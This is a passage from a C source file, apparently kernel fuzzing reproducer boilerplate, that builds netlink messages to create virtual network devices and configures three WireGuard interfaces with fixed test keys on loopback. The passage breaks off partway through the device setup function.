if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME,
strlen(DEVLINK_FAMILY_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len);
if (err) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static int netlink_wireguard_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, WG_GENL_NAME,
strlen(WG_GENL_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] = "\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a"
"\x70\xae\x0f\xb2\x0f\xa1\x52\x60\x0c\xb0\x08\x45"
"\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] = "\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22"
"\x43\x82\x44\xbb\x88\x5c\x69\xe2\x69\xc8\xe9\xd8"
"\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] = "\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f"
"\xa6\xd0\x31\xc7\x4a\x15\x53\xb6\xe9\x01\xb9\xff"
"\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] = "\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b"
"\x89\x9f\x8e\xd9\x25\xae\x9f\x09\x23\xc2\x3c\x62\xf5"
"\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] = "\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41"
"\x3d\xc9\x57\x63\x0e\x54\x93\xc2\x85\xac\xa4\x00\x65"
"\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] = "\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45"
"\x67\x27\x08\x2f\x5c\xeb\xee\x8b\x1b\xf5\xeb\x73\x37"
"\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
/* Unused, but useful in case we change this:
const struct sockaddr_in endpoint_a_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_a),
.sin_addr = {htonl(INADDR_LOOPBACK)}};*/
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
/* Unused, but useful in case we change this:
const struct sockaddr_in6 endpoint_b_v6 = {
.sin6_family = AF_INET6,
.sin6_port = htons(listen_b)};
endpoint_b_v6.sin6_addr = in6addr_loopback; */
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_wireguard_id_get(&nlmsg, sock);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
